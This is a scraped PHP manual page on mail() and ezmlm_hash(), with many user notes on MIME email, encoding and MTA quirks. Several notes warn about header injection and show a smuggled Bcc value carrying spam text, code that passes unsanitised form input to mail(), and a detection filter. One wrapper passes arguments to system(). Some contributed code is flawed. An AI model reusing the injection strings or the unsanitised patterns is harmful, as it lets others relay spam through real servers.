# Setup for text OR html
$msg .= "Content-Type: multipart/alternative".$eol;

# Text Version
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: text/plain; charset=iso-8859-1".$eol;
$msg .= "Content-Transfer-Encoding: 8bit".$eol;
$msg .= "This is a multi-part message in MIME format.".$eol;
$msg .= "If you are reading this, please update your email-reading-software.".$eol;
$msg .= "+ + Text Only Email from Genius Jon + +".$eol.$eol;

# HTML Version
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: text/html; charset=iso-8859-1".$eol;
$msg .= "Content-Transfer-Encoding: 8bit".$eol;
$msg .= $body.$eol.$eol;

# Finished
$msg .= "--".$mime_boundary."--".$eol.$eol;  // finish with two eol's for better security. see Injection.

# SEND THE EMAIL
ini_set(sendmail_from,'from@me.com');  // the INI lines are to force the From Address to be used !
  mail($emailaddress, $emailsubject, $msg, $headers);
ini_restore(sendmail_from);
?>

I hope this helps.
Jon Webb [Madrid&London]
lawcd at ntlworld dot com
31-Jan-2006 01:38
For those of you with the exim, if its not sending mail with the -i option and you cant easily change this, you might want to check out the imap_mail() function which works almost exactly the same and doesnt use exim, most web hosts provide this. If you using your own server then php needs to be compiled with imap libraries etc.

See http://uk2.php.net/manual/en/function.imap-mail.php
expertphp at gmail dot com
28-Jan-2006 06:31
If you try to set "From:" e-mail header value under Windows when it is already defined in php.ini "sendmail_from" value, this will doesn't work. If you still want to customize this value, then you must use another option like XPertMailer ( http://www.xpertmailer.com/ ) to send the e-mail directly to the client SMTP server or use a relay SMTP server with authentification option.
Ben Cooke
15-Dec-2005 09:34
Note that there is a big difference between the behavior of this function on Windows systems vs. UNIX systems. On Windows it delivers directly to an SMTP server, while on a UNIX system it uses a local command to hand off to the system's own MTA.

The upshot of all this is that on a Windows system your  message and headers must use the standard line endings \r\n as prescribed by the email specs. On a UNIX system the MTA's "sendmail" interface assumes that recieved data will use UNIX line endings and will turn any \n to \r\n, so you must supply only \n to mail() on a UNIX system to avoid the MTA hypercorrecting to \r\r\n.

If you use plain old \n on a Windows system, some MTAs will get a little upset. qmail in particular will refuse outright to accept any message that has a lonely \n without an accompanying \r.
aweather88 at gmail dot com
15-Dec-2005 06:45
I spent hours searching the web trying to figure out why I was getting a "WARNING: mail(): SMTP server response: 501 5.5.4 Invalid Address " every time I was using the mail() function on my server (Win2K3,IIS 6.0,PHP4.4.1).  I knew everything was setup properly for SMTP based on other non IIS 6.0 configurations.

Turns out that the IIS 6.0 SMTP service does not like formatting of the "From" field in mail headers.  For instance:
<?PHP
   //This line DOES NOT send  mail message correctly
   $headers .= "From: \"".$fromname."\" <".$fromaddress.">\n";
?>
However this works:
<?PHP
   //This line sends mail message correctly
   $headers .= "From: \"".$fromaddress."\"\n";
?>

The fix is in Microsoft Article ID 291828 ( http://support.microsoft.com/?id=291828 ).  Even though the "bug" workaround is for IIS 6.0 on Exchange 2003 communicating with a UNIX server, THIS SOLVES THE PROBLEM.  Just skip down to the last section for Exchange 2003 and follow the instructions to modify the IIS 6 MetaBase with the MetaBase Explorer found in the IIS 6 Resource Kit.
tinus
09-Dec-2005 05:50
as to fred's posting, I had to change the code a bit:
-add a hashbang
-add "-t -i " to the sendmail call

great idea though.

#!/usr/bin/php
<?php

       $tmpfile = "/tmp/" . uniqid('') . ".mail";

       $fp = fopen($tmpfile,"w");

       fwrite($fp,"x-wls-cc-filter: On\n");
       while($line = fgets(STDIN))
       {
               $line = ereg_replace("^bcc:","x-wlsspam-bcc:",$line);
               $line = ereg_replace("^cc:","x-wlsspam-cc:",$line);
               fwrite($fp,$line);
       }
       fclose($fp);

       $cmd = '/usr/sbin/sendmail -t -i ';
       for($i = 1 ; $i < $argc; $i++)
       {
               $cmd .= $argv[$i];
               $cmd .= ' ';
       }
       $cmd .= "<$tmpfile";
       system($cmd);
?>
spinningvertex at gmail dot com
02-Nov-2005 06:38
I found the mail validator http://www.apps.ietf.org/msglint.html  to be very usefull.
expertphp at yahoo dot com
08-Oct-2005 09:45
Send an e-mail directly to client smtp server in real time.
For more informations, please visit : http://expert.no-ip.org/?free=smtp_mail&func

<?php

@set_time_limit(0);

require_once 'smtp_mail.php';

$to = "expertphp@yahoo.com";
$from = "from@myaccount.com";
$subject = "Subject here";

$headers = "MIME-Version: 1.0\r\n".
   "Content-type: text/html; charset=iso-8859-1\r\n".
   "From: \"My Name\" <".$from.">\r\n".
   "To: \"Client\" <".$to.">\r\n".
   "Date: ".date("r")."\r\n".
   "Subject: ".$subject."\r\n";

$message = "
<html>
<body>
<b>html message</b><br>
<font color=\"red\">here</font>
<img src=\"http://static.php.net/www.php.net/images/php.gif\"
border=\"0\" alt=\"\">
</body>
</html>
";

$response = smtp_mail($to, $subject, $message, $from, $headers);

if($response[0]) echo "The message has been sent !<br />\n".$response[1];
else echo "The message can not been sent !<br />\n".$response[1];

?>
fnjordy at gmail dot com
05-Oct-2005 05:54
Another example of sending a utf-8 HTML mail:

$to = 'bob@barnyard.com';
$subject = 'Wakeup bob!';
$message = '<b>yo</b>, whassup?';
$headers = "From: server@barnyard.com\r\n" .
       'X-Mailer: PHP/' . phpversion() . "\r\n" .
       "MIME-Version: 1.0\r\n" .
       "Content-Type: text/html; charset=utf-8\r\n" .
       "Content-Transfer-Encoding: 8bit\r\n\r\n";

// Send
mail($to, $subject, $message, $headers);
fontajos at phpeppershop dot com
21-Sep-2005 11:24
Problems with Microsoft Exchange and PHP as ISAPI-module

We found out, that if you want to send multipart mime emails using the PHP mail-function on a Windows box using a Microsoft Exchange server, you have to use separate containers for the mail body and the mail header.

In many examples like in http://www.zend.com/zend/trick/html-email.php or in the book PHP developers cookbook you find html multipart/alternative mailing solutions that build the mime header and the mail body into one PHP variable and send this as fourth argument (header) to the PHP mail-function. This works fine on most systems but not on the above mentioned combination.

We found a rather trivial solution: Simply split the mime mail header and the mail body into two separate variables and give them separately to the PHP mail function, example:

<?php
//add From: header
$headers = "From: webserver@localhost\r\n";

//specify MIME version 1.0
$headers .= "MIME-Version: 1.0\r\n";

//unique boundary
$boundary = uniqid("HTMLDEMO");

//tell e-mail client this e-mail contains//alternate versions
$headers .= "Content-Type: multipart/mixed; boundary = $boundary\r\n\r\n";

//plain text version of message
$body = "--$boundary\r\n" .
   "Content-Type: text/plain; charset=ISO-8859-1\r\n" .
   "Content-Transfer-Encoding: base64\r\n\r\n";
$body .= chunk_split(base64_encode("This is the plain text version!"));

//HTML version of message
$body .= "--$boundary\r\n" .
   "Content-Type: text/html; charset=ISO-8859-1\r\n" .
   "Content-Transfer-Encoding: base64\r\n\r\n";
$body .= chunk_split(base64_encode("This the <b>HTML</b> version!"));

//send message
mail("root@localhost", "An HTML Message", $body, $headers);
?>
valeriogiuffrida at hotmail dot com
09-Sep-2005 05:53
Sometimes using that headers:

$header = "Return-Path: lostpass@website.net\n";
$header .= "X-Sender: lostpass@website.net\n";
$header .= "From: This is my website <lostpass@website.net>\n";
$header .= "X-Mailer:PHP 5.1\n";
$header .= "MIME-Version: 1.0\n";

Gmail and Hotmail could consider it as "spam", so I just inserted before to send email:

 ini_set(sendmail_from, "lostpass@mywebsite.net");

and ini_restore after it...
mail at hotbytes dot de
28-May-2005 06:11
@tudor:

Take a look at this class:
http://www.phpguru.org/static/mime.mail.html

<!-- snip from the description
A class for sending mime based email. It can send:
- HTML Email
- HTML Email with embedded images
- HTML Email with attachments
- HTML Email with embedded images and attachments
- Text email
- Text email with attachments
snap -->

This may help you with your problem

Regards,
Andre
26-May-2005 06:18
If you are seeing unwanted line breaks preceded by exclamation marks ("!") in the emails you send with mail(), you may be having the same problem I had: exceeding the maximum line length (998 chars) specified in RFC 2822 (http://www.faqs.org/rfcs/rfc2822.html).
You can get around this restriction by using base64 encoding: add a "Content-Transfer-Encoding: base64" header and encode the contents with
  $base64contents = rtrim(chunk_split(
   base64_encode($contents)));
Andrew W
28-Apr-2005 06:19
I spent weeks trying to work out why PHP couldnt send mail through Exim (called locally) when for all other purposes Exim worked fine.  Here, after hours of work is the answer and I hope it saves someone else some time:

PHP by default calls sendmail/exim/whatever with the options -t & -i

-i is causing Exim to sit there waiting for more input, not detecting the end of the message.  You need to tell it not to use -i by manually specifying the arguments you DO want on sendmail_path like this:

sendmail_path = /path/to/exim -t
jdephix at hotmail dot com
03-Mar-2005 04:25
How to add multiple attachment to an email:

An email can be split into many parts separated by a boundary followed by a Content-Type and a Content-Disposition.

The boundary is initialized as follows:
<?php
$boundary = '-----=' . md5( uniqid ( rand() ) );
?>

You can attach a Word document if you specify:
<?php
$message .= "Content-Type: application/msword; name=\"my attachment\"\n";
$message .= "Content-Transfer-Encoding: base64\n";
$message .= "Content-Disposition: attachment; filename=\"$theFile\"\n\n";
?>

When adding a file you must open it and read it with fopen and add the content to the message:
<?php
$path = "whatever the path to the file is";
$fp = fopen($path, 'r');
do //we loop until there is no data left
{
       $data = fread($fp, 8192);
       if (strlen($data) == 0) break;
       $content .= $data;
     } while (true);
$content_encode = chunk_split(base64_encode($content));
$message .= $content_encode . "\n";
$message .= "--" . $boundary . "\n";
?>

Add the needed headers and send!
<?php
$headers  = "From: \"Me\"<me@here.com>\n";
$headers .= "MIME-Version: 1.0\n";
$headers .= "Content-Type: multipart/mixed; boundary=\"$boundary\"";
mail('myAddress@hotmail.com', 'Email with attachment from PHP', $message, $headers);
?>

Finally, if you add an image and want it displayed in your email, change the Content-Type from attachment to inline:

<?php
$message .= "Content-Disposition: inline; filename=\"$theFile\"\n\n";
?>

Enjoy!
Metin Savignano <ms201 at zipfly dot de>
04-Feb-2005 09:32
If you want to use the mail() function under *nix and Windows alike, I recommend using the little fake sendmail utility available under http://glob.com.au/sendmail/ (bsd license).

I tried it and it works great for me. I can use the very same PHP code on both the Linux server as well as my Windows test machine. It supports auth smtp.

Instructions: Download fake sendmail, unzip it into a directory of your choice, customize the sendmail.ini to your smtp server, set the sendmail path in your php.ini, and you're done.
Ivo Fokkema I.Fokkema att LUMC d0ttt nl
06-Sep-2004 04:03
We have a open source project that needed to be able to function on as many platforms and configurations as possible. Using '\n' as end-of-line for emailheaders would probably 'break' the email functionality on Windows and Mac platforms.

I have fixed this using the code below. Please note that since I don't have any access to a Mac server, this setup is not tested on a Mac, but should work.

if (strtoupper(substr(PHP_OS, 0, 3) == 'WIN')) {
       $s_eol = "\r\n";
} elseif (strtoupper(substr(PHP_OS, 0, 3) == 'MAC')) {
       $s_eol = "\r";
} else {
       $s_eol = "\n";
}

(Thanx to Eric Gach on http://www.phpbuilder.com/lists/php-windows/2003032/0057.php for the inspiration!)

Then construct your headers using

$s_headers = 'From: registrationform@example.org' . $s_eol;

Hope this helps anyone!!!

Ivo
php at richardneill dot org
13-Jul-2004 09:09
Postfix under Mandrake 10.0 also objects to \\r\\n. The result is that every email is double-spaced, and all attachments break. (it was OK in 9.1).  My (short-term) fix is this:

$message = str_replace("\r",'',$message);

This discussion may be relevant:
http://www.phpdiscuss.com/article.php?id=60615&group=php.bugs
wtmusic
13-Jun-2004 03:53
Beware of Mac "line feeds" (\r) in long text strings in the body of a message--may cause Sendmail to insert exclamation points after every 256 chars
def at speakeasy dot org
22-May-2004 09:11
The body of the message cannot, in some (many?) cases, contain "bare line feeds" -- i.e. just "\n".

See this: http://cr.yp.to/docs/smtplf.html
josh at sdfahrenheit dot com
16-Apr-2004 10:52
For anyone having problems with attached files coming through garbled, make sure you have magic_quotes_runtime set to Off in your php.ini - it adds funky escape chars to your attached data and garbles the attachment.

This was giving me all kinds of grief.
07-Apr-2004 08:36
If your system MTA is exim, you might find using it the following way gives you more control over the message that is sent. It uses batch SMTP rather than the hideous "-t" sendmail-like argument, and as a result allows the envelope and the headers to be specified seperately.

recipient, subject, body, [ [ [ headers ], sender ], helo]
bsmtp("recipient@address.com", "Subject", array("Line 1", "Line 2"), array(), "sender@address.com", "host.address.com);

OR

bsmtp(array("recipient1@address.com", "recipient2@address.com), "Subject", array("Line 1", "Line 2"), array(), "sender@addr$

<?php
function bsmtp($recipients, $subject,
$body, $headers = array(),
$sender= "<>",  $helo = "")
{

       $exim = "/usr/local/sbin/exim -bS";

       if ( $helo == "" )
       {
               $helo = $_SERVER["HTTP_HOST"];
       }

       if ( ! $headers )
       {

               if (is_array($recipients))
               {
                       $c="To: ";
                       foreach ($recipients as $r)
                       {
                               $toheader .= $c . $r;
                               $c = ", ";
                       }
               }
               else
               {
                       $toheader = "To: " . $recipients;
               }

               if ( ereg("@", $sender))
               {
                       $fromheader = "From: " . $sender;
               }
               else
               {
                       $fromheader = "From: <MAILER-DAEMON@" . $_SERVER["HTTP_HOST"] . ">";
               }

               $subj = "Subject: " . $subject;

               $headers = array($toheader, $fromheader, $subj);

       }

       $headers[] = "X-Mailer: Dave's better php mail function";

       print "<PRE>";

       $fd = popen($exim, "w");

       fputs($fd, "HELO " . $helo . "\n");
       fputs($fd, "MAIL FROM: " . $sender . "\n");
       if (is_array($recipients))
       {
               foreach ($recipients as $r)
               {
                       fputs($fd, "RCPT TO: " . $r . "\n");
               }
       }
       else
       {
               fputs($fd, "RCPT TO: " . $recipients . "\n");
       }

       fputs($fd, "DATA\n");

       foreach ( $headers as $h )
       {
               fputs($fd, $h . "\n");
       }

       fputs($fd, "\n");

       foreach ( $body as $b )
       {
               fputs($fd, $b . "\n");
       }

       fputs($fd, "\n.\nQUIT\n");

       sleep(1);

       pclose($fd);
}

}
?>
roberto dot silva at mexicoshipping dot net
24-Jan-2004 08:16
If you can't use or don't understand how to use the sendmail program from linux, you can use a PEAR object to send mail.

<?
include("Mail.php");

$recipients = "mail_to@domain.mail";

$headers["From"]    = "mail_from@domain.mail";
$headers["To"]      = "mail_to@domain.mail";
$headers["Subject"] = "Test message";

$body = "TEST MESSAGE!!!";

$params["host"] = "smtp.server";
$params["port"] = "25";
$params["auth"] = true;
$params["username"] = "user";
$params["password"] = "password";

// Create the mail object using the Mail::factory method
$mail_object =& Mail::factory("smtp", $params);

$mail_object->send($recipients, $headers, $body);
?>

In my case, i use a smtp server that require authentication, and sendmail configuration is almost cryptic to me.

PEAR is already installed in PHP 4.0.3 , if not, you must go to pear.php.net and install it, in my case, I needed to add the Socket.php to the PEAR library.
f dot touchard at laposte dot net
31-Jan-2003 11:46
***Encoding plain text as quoted-printable in MIME email***

If you don't want to install IMAP and use imap_8bit() to encode plain text or html message as quoted-printable
(friendly french special characters encoding :-) in MIME email, try this function.
I haven't fully tested it ( like with microtime with long mails). I send html message as 7-bit, so I didn't try yet with html.
If you have good html practise, you don't really need to encode html as quote-printable as it only uses 7-bit chars.
F.Touchard

function qp_encoding($Message) {

   /* Build (most polpular) Extended ASCII Char/Hex MAP (characters >127 & <255) */
   for ($i=0; $i<127; $i++) {
       $CharList[$i] = "/".chr($i+128)."/";
       $HexList[$i] = "=".strtoupper(bin2hex(chr($i+128)));
   }

   /* Encode equal sign & 8-bit characters as equal signs followed by their hexadecimal values */
   $Message = str_replace("=", "=3D", $Message);
   $Message = preg_replace($CharList, $HexList, $Message);

   /* Lines longer than 76 characters (size limit for quoted-printable Content-Transfer-Encoding)
       will be cut after character 75 and an equals sign is appended to these lines. */
   $MessageLines = split("\n", $Message);
   $Message_qp = "";
   while(list(, $Line) = each($MessageLines)) {
       if (strlen($Line) > 75) {
           $Pointer = 0;
           while ($Pointer <= strlen($Line)) {
               $Offset = 0;
               if (preg_match("/^=(3D|([8-9A-F]{1}[0-9A-F]{1}))$/", substr($Line, ($Pointer+73), 3))) $Offset=-2;
               if (preg_match("/^=(3D|([8-9A-F]{1}[0-9A-F]{1}))$/", substr($Line, ($Pointer+74), 3))) $Offset=-1;
               $Message_qp.= substr($Line, $Pointer, (75+$Offset))."=\n";
               if ((strlen($Line) - ($Pointer+75)) <= 75) {
                   $Message_qp.= substr($Line, ($Pointer+75+$Offset))."\n";
                   break 1;
               }
               $Pointer+= 75+$Offset;
           }
       } else {
           $Message_qp.= $Line."\n";
       }
   }
   return $Message_qp;
}
kieran dot huggins at rogers dot com
21-Nov-2002 06:24
Thanks Hilger - that will come in handy on my end.

Here's a great overview of the MIME spec from 1993:
http://www.mindspring.com/~mgrand/mime.html

Happy mailing! - Kieran
stevenlim at Edinburgh-Consulting dot com
06-Sep-2002 03:53
How to detect a bounce email

1. make sure the email you send out have the header
"Return-Path: detect-bounce@yourdomain.com\r\n",
&
"Return-Receipt-To: bounce@yourdomain.com\r\n"

2. setup this detect-bounce mail account at your mail server

3. redirect the incoming mail from this email account to your php script (check your mail server doc on how do this)

4. your php script will then be able to process the incoming email in whatever way you like, including to detect bounce mail message (use regexp search).

Note that the mail will be not be store after the mail server has redirect to your script.  If you want to store it, you need additional code in your script

Hope the above help

Steven Lim
IT Consultant (www.Edinburgh-Consulting.com)
12-Apr-2002 11:35
As noted above sendmail_from is only used on MS Windows, to change the default sender on unix you must add -f to sendmail_path. For example in a <VirtualHost> directive:
php_admin_value sendmail_path "/usr/sbin/sendmail -t -i -f webmaster@example.com"

would set the default return-path for mail from that virtual host.
add a note add a note

后退 | 起点 | 前进
lzf_optimized_for | 上一级 | ezmlm_hash


ezmlm_hash

(PHP 3 >= 3.0.17, PHP 4 >= 4.0.2, PHP 5)

ezmlm_hash -- Calculate the hash value needed by EZMLM

说明

int ezmlm_hash ( string addr )

ezmlm_hash() calculates the hash value needed when keeping EZMLM mailing lists in a MySQL database.

参数

addr

The email address that's being hashed.

返回值

The hash value of addr.

范例

例子 1. Calculating the hash and subscribing a user

<?php

$user = "joecool@example.com";
$hash = ezmlm_hash($user);
$query = sprintf("INSERT INTO sample VALUES (%s, '%s')", $hash, $user);
$db->query($query); // using PHPLIB db interface

?>

add a note add a note User Contributed Notes
jens at NOSPAM dot rootsy dot nu
30-Sep-2005 03:07
This is really ezmlm documentation, but I certanly would have been happy if I found it anywhere during my time of trial. I am not a Linux expert, as you probably will notice, so things I do/did that might sound incredibly stupid to those who do know. I blame hard-to-find documentation :)

I wanted a page where a visitor could add their address to my mailinglist. That shouldn't be too hard, or atleastso I thought...

First I tried mailing the mailinglist. For some reason, the mailinglist didn't see my "From:" -header and it failed miserably.

Then I tried to use system() to call ezmlm-sub, which only produced the error-code 111. That was an access problem. So, I tried making the mailinglist availible to the website, but the change in permissions caused the mailserver to malfunction (as opposed to mailfunction....). It took a while to sort that mess out.

I couldn't find any guide as howto add mysql-support. The big problem was how to know which tables was needed. Apperantly, this is all that is needed:

ezmlm-mktab listname | mysql -u root -p databasename

Then its just adding the mailinglist with mysql-support i qmailadmin. It doesn't seem to allow socket connection to the database, so iptables has to allow local connections to the mysql port.

Hope this helps someone.
Tim in SF
11-Dec-2003 11:57
EZ Mailing List Manager (EZMLM) is a mailing list manager which allows users to create their own mailing lists with a single command.

It seems to require qmail.

See:
http://www.ezmlm.org/
http://www.qmail.org/top.html#ezmlm
add a note add a note

后退 | 起点 | 前进
Mail Functions | 上一级 | mail


mail

(PHP 3, PHP 4, PHP 5)

mail -- Send mail

说明

bool mail ( string to, string subject, string message [, string additional_headers [, string additional_parameters]] )

Sends an email.

参数

to

Receiver, or receivers of the mail.

The formatting of this string must comply with RFC 2822. Some examples are:

user@example.com
user@example.com, anotheruser@example.com
User <user@example.com>
User <user@example.com>, Another User <anotheruser@example.com>

subject

Subject of the email to be sent.

注意

This must not contain any newline characters, or the mail may not be sent properly.

message

Message to be sent.

Each line should be separated with a LF (\n). Lines should not be larger than 70 characters.

注意

(Windows only) When PHP is talking to a SMTP server directly, if a full stop is found on the start of a line, it is removed. To counter-act this, replace these occurrences with a double dot.
<?php
$text = str_replace("\n.", "\n..", $text);
?>

additional_headers (optional)

String to be inserted at the end of the email header.

This is typically used to add extra headers (From, Cc, and Bcc). Multiple extra headers should be separated with a CRLF (\r\n).

注: When sending mail, the mail must contain a From header. This can be set with the additional_headers parameter, or a default can be set in php.ini.

Failing to do this will result in an error message similar to Warning: mail(): "sendmail_from" not set in php.ini or custom "From:" header missing.

注: If messages are not received, try using a LF (\n) only. Some poor quality Unix mail transfer agents replace LF by CRLF automatically (which leads to doubling CR if CRLF is used). This should be a last resort, as it does not comply with RFC 2822.

additional_parameters (optional)

The additional_parameters parameter can be used to pass an additional parameter to the program configured to use when sending mail using the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.

The user that the webserver runs as should be added as a trusted user to the sendmail configuration to prevent a 'X-Warning' header from being added to the message when the envelope sender (-f) is set using this method. For sendmail users, this file is /etc/mail/trusted-users.

返回值

Returns TRUE if the mail was successfully accepted for delivery, FALSE otherwise.

It is important to note that just because the mail was accepted for delivery, it does NOT mean the mail will actually reach the intended destination.

更新日志

版本 | 说明
4.3.0 (Windows only) | All custom headers (like From, Cc, Bcc and Date) are supported, and are not case-sensitive. (As custom headers are not interpreted by the MTA in the first place, but are parsed by PHP, PHP < 4.3 only supported the Cc header element and was case-sensitive).
4.2.3 | The additional_parameters parameter is disabled in safe_mode and the mail() function will expose a warning message and return FALSE when used.
4.0.5 | The additional_parameters parameter was added.

范例

例子 1. Sending mail.

Using mail() to send a simple email:

<?php
// The message
$message = "Line 1\nLine 2\nLine 3";

// In case any of our lines are larger than 70 characters, we should use wordwrap()
$message = wordwrap($message, 70);

// Send
mail('caffinated@example.com', 'My Subject', $message);
?>

例子 2. Sending mail with extra headers.

The addition of basic headers, telling the MUA the From and Reply-To addresses:

<?php
$to      = 'nobody@example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: webmaster@example.com' . "\r\n" .
    'Reply-To: webmaster@example.com' . "\r\n" .
    'X-Mailer: PHP/' . phpversion();

mail($to, $subject, $message, $headers);
?>

例子 3. Sending mail with an additional command line parameter.

The additional_parameters parameter can be used to pass an additional parameter to the program configured to use when sending mail using the sendmail_path.

<?php
mail('nobody@example.com', 'the subject', 'the message', null,
   '-fwebmaster@example.com');
?>

例子 4. Sending HTML email

It is also possible to send HTML email with mail().

<?php
// multiple recipients
$to  = 'aidan@example.com' . ', '; // note the comma
$to .= 'wez@example.com';

// subject
$subject = 'Birthday Reminders for August';

// message
$message = '
<html>
<head>
  <title>Birthday Reminders for August</title>
</head>
<body>
  <p>Here are the birthdays upcoming in August!</p>
  <table>
    <tr>
      <th>Person</th><th>Day</th><th>Month</th><th>Year</th>
    </tr>
    <tr>
      <td>Joe</td><td>3rd</td><td>August</td><td>1970</td>
    </tr>
    <tr>
      <td>Sally</td><td>17th</td><td>August</td><td>1973</td>
    </tr>
  </table>
</body>
</html>
';

// To send HTML mail, the Content-type header must be set
$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

// Additional headers
$headers .= 'To: Mary <mary@example.com>, Kelly <kelly@example.com>' . "\r\n";
$headers .= 'From: Birthday Reminder <birthday@example.com>' . "\r\n";
$headers .= 'Cc: birthdayarchive@example.com' . "\r\n";
$headers .= 'Bcc: birthdaycheck@example.com' . "\r\n";

// Mail it
mail($to, $subject, $message, $headers);
?>

注: If intending to send HTML or otherwise Complex mails, it is recommended to use the PEAR package PEAR::Mail.

注释

注: The Windows implementation of mail() differs in many ways from the Unix implementation. First, it doesn't use a local binary for composing messages but only operates on direct sockets which means a MTA is needed listening on a network socket (which can either on the localhost or a remote machine).

Second, the custom headers like From:, Cc:, Bcc: and Date: are not interpreted by the MTA in the first place, but are parsed by PHP.

As such, the to parameter should not be an address in the form of "Something <someone@example.com>". The mail command may not parse this properly while talking with the MTA.

注: Email with attachments and special types of content (e.g. HTML) can be sent using this function. This is accomplished via MIME-encoding - for more information, see this Zend article or the PEAR Mime Classes.

注: It is worth noting that the mail() function is not suitable for larger volumes of email in a loop. This function opens and closes an SMTP socket for each email, which is not very efficient.

For the sending of large amounts of email, see the PEAR::Mail, and PEAR::Mail_Queue packages.

注: The following RFCs may be useful: RFC 1896, RFC 2045, RFC 2046, RFC 2047, RFC 2048, RFC 2049, and RFC 2822.

参见

imap_mail()
PEAR::Mail
PEAR::Mail_Mime

add a note add a note User Contributed Notes
rsjaffe at gmail dot com
24-May-2006 11:23
Oops. The backslashes got doubled. Each \\ should be \.
rsjaffe at gmail dot com
22-May-2006 05:10
Here's my way of detecting an attempt to hijack my mail form.

<?php #requires PHP 5 or greater
$request = array_map('trim',($_SERVER['REQUEST_METHOD'] == "POST") ? $_POST : $_GET) ;

//check for spam injection
$allfields = implode('',$request) ;
$nontext = $request ;
unset($nontext['message'] );
$nontextfields = implode ('',$nontext) ;
if ((strpos ($nontextfields,"\\r")!==false) ||
   (strpos ($nontextfields,"\\n")!==false) ||
   (stripos ($allfields,"Content-Transfer-Encoding")!==false) ||
   (stripos ($allfields,"MIME-Version")!==false) ||
   (stripos ($allfields,"Content-Type")!==false) ||
   ($request['checkfield']!=$check) ||
   (empty($_SERVER['HTTP_USER_AGENT']))) die('Incorrect request') ; //stop spammers ?>

First, I put the data into an array $request, then set up two strings: $allfields, which is just all fields concatenated, then $nontext, which excludes those fields in which \\r\\n is allowed (e.g., the message body). Any form field in which \\r\\n is allowed should be unset in the $nontext array before the second implode function (my message field is called 'message', so I unset that). I also include a hidden field in the form with a preset value ('checkfield', $check), so I can see if something is trying to alter all fields.

This is a combination of a lot of things mentioned in the messages below...
exel0n at hotmail dot com
05-Apr-2006 03:35
Based on LG83's, works for me...

function format($input) {
 $output = "=?ISO-8859-1?Q?";
 for ($x=0;$x<strlen($input);$x++) {
  $char = strtoupper(sprintf("%02s", dechex(ord($input[$x]))));
  $output .= "=".$char;
 }
 $output .= "?=";
 return($output);
}
steve at stevewinnington dot co dot uk
14-Mar-2006 12:24
To all you guys out there having problems with mail scripts throwing back this (and you know your scripts are right!!)...

Warning: mail() [function.mail]: "sendmail_from" not set in php.ini or custom "From:" header missing in:

I had started seeing this after moving some scripts from 4.3 servers to 5.

a dirty get around is using

ini_set ("sendmail_from","a.body@acompany.com");

to force the From header.

Not ideal but it works.
;)
Nimlhug
12-Mar-2006 02:41
As noted in other, well, notes; the "additional headers" parameter can be easily exploited, when doing things like:

<?php
  mail( $_POST['to'], $_POST['subject'], $_POST['message'], 'Reply-to: '.$_POST['from']."\r\n" );
?>

An easy way of fixing this, is removing CRLFs from the header-strings, like so:

<?php
  $_POST['from'] = str_replace( "\r\n", '', $_POST['from'] );
?>

This way, the extra data will be part of the previous header.
junaid at techni-serve dot com
08-Mar-2006 01:49
Note: on class "multipartmail".  Modify the function buildmessage with the following and it will work great.

function buildmessage(){
         $this->message = "This is a multipart message in mime format.\n";
         $cnt = count($this->parts);
         for($i=0; $i<$cnt; $i++){
           $this->message .= "--" . $this->boundary . "\n" .$this->parts[$i];
         }
       $this->message .= "--" . $this->boundary . "-- \n";
     }

Thank for all the help.
zorglub_olsen at hotmail dot com
06-Mar-2006 12:40
The function given by "lg83 at free dot fr" isn't working 100% reliably. There's apparently a problem with lastspace, but I don't fully understand the loop. The variables names don't help much either.

Example: encodeMimeSubject("Din giraf spiser Paradisbananer") gives "Din giraf spiser".
Mailer
05-Mar-2006 09:13
if you don't have access to the mail function or got a own smtp server you can use this class to send mails.
https://sourceforge.net/projects/p3mailer/
lg83 at free dot fr
24-Feb-2006 06:34
If you would like to send an email with non-ASCII characters in the subject (or any other header), this function will convert it into a 7 bit QP-encoded string that works with almost all mail clients (you are NOT allowed to send raw 8 bit data in a header, and even if you did there would be no way to know which charset was used).

This function takes a UTF-8 string in $s. If your PHP pages are in ISO-8859-1, just replace "=?UTF-8?Q?" with "=?ISO-8859-1?Q?" below.

<?php

function encodeMimeSubject($s) {

   $lastspace=-1;
   $r="";
   $buff="";

   $mode=1;

   for ($i=0; $i<strlen($s); $i++) {
       $c=substr($s,$i,1);
       if ($mode==1) {
           $n=ord($c);
           if ($n & 128) {
               $r.="=?UTF-8?Q?";
               $i=$lastspace;
               $mode=2;
           } else {
               $buff.=$c;
               if ($c==" ") {
                   $r.=$buff;
                   $buff="";
                   $lastspace=$i;
               }
           }
       } else if ($mode==2) {
           $r.=qpchar($c);
       }
   }
   if ($mode==2) $r.="?=";

   return $r;

}

function qpchar($c) {
   $n=ord($c);
   if ($c==" ") return "_";
   if ($n>=48 && $n<=57) return $c;
   if ($n>=65 && $n<=90) return $c;
   if ($n>=97 && $n<=122) return $c;
   return "=".($n<16 ? "0" : "").strtoupper(dechex($n));

}

?>
leonard_orb at future-data dot de
15-Feb-2006 05:51
Warning: It should be stated clearly that "additional_headers" (the 4th parameter)
will not only allow you to add customized mail headers.
If there is an empty line in it the mail headers will be terminated and
the mail body will start exactly at this point.

mail ("foo@bar.example", "Test", "Hi dude",
  "Bcc: someone_else@bar.example\r\n\r\nBuy V1a*ra now\r\n");

will send a mail to <foo@bar.example> and <someone_else@bar.example>
and advertise pills.

It will give spammers the chance to abuse your webserver as a spam server if you e.g.
happen not to check the values your form receives from the client and paste it
directly into "additional_headers".
linas.galvanauskas {eta} ntt . lt
13-Feb-2006 05:27
Hi,
I'm using phpmailer from http://phpmailer.sourceforge.net/

and I have no problems.
Good luck
Hossein
26-Jan-2006 01:46
Hello firends,
Good article about email:

http://www.sitepoint.com/article/advanced-email-php

With regards,Hossein
krisdover at hotmail dot com
21-Jan-2006 03:25
#  Description: Simple class using php mail function to construct and send mime multipart
#                emails (i.e. emails with attachments) and support content-id style
#                embedded images in html messages
#
#  Limitations: Uses the ubiquitously supported 7bit (i.e. no encoding) message encoding where as
#                qouted-printable is recommended for html messages. Does not ensure that message
#                line lengths do not exceed the 998 character limit specified by RFC 2822.
#
#  Usage Example:
#    $mulmail = new multipartmail("krisd@work.net", "destination@anywhere.com", "Some Subject");
#    $cid = $mulmail->addattachment("/var/www/html/img/pic.jpg", "image/jpg");
#    $mulmail->addmessage(
#      "<html>\n" .
#      "  <head>\n" .
#      "  </head>\n" .
#      "  <body>\n" .
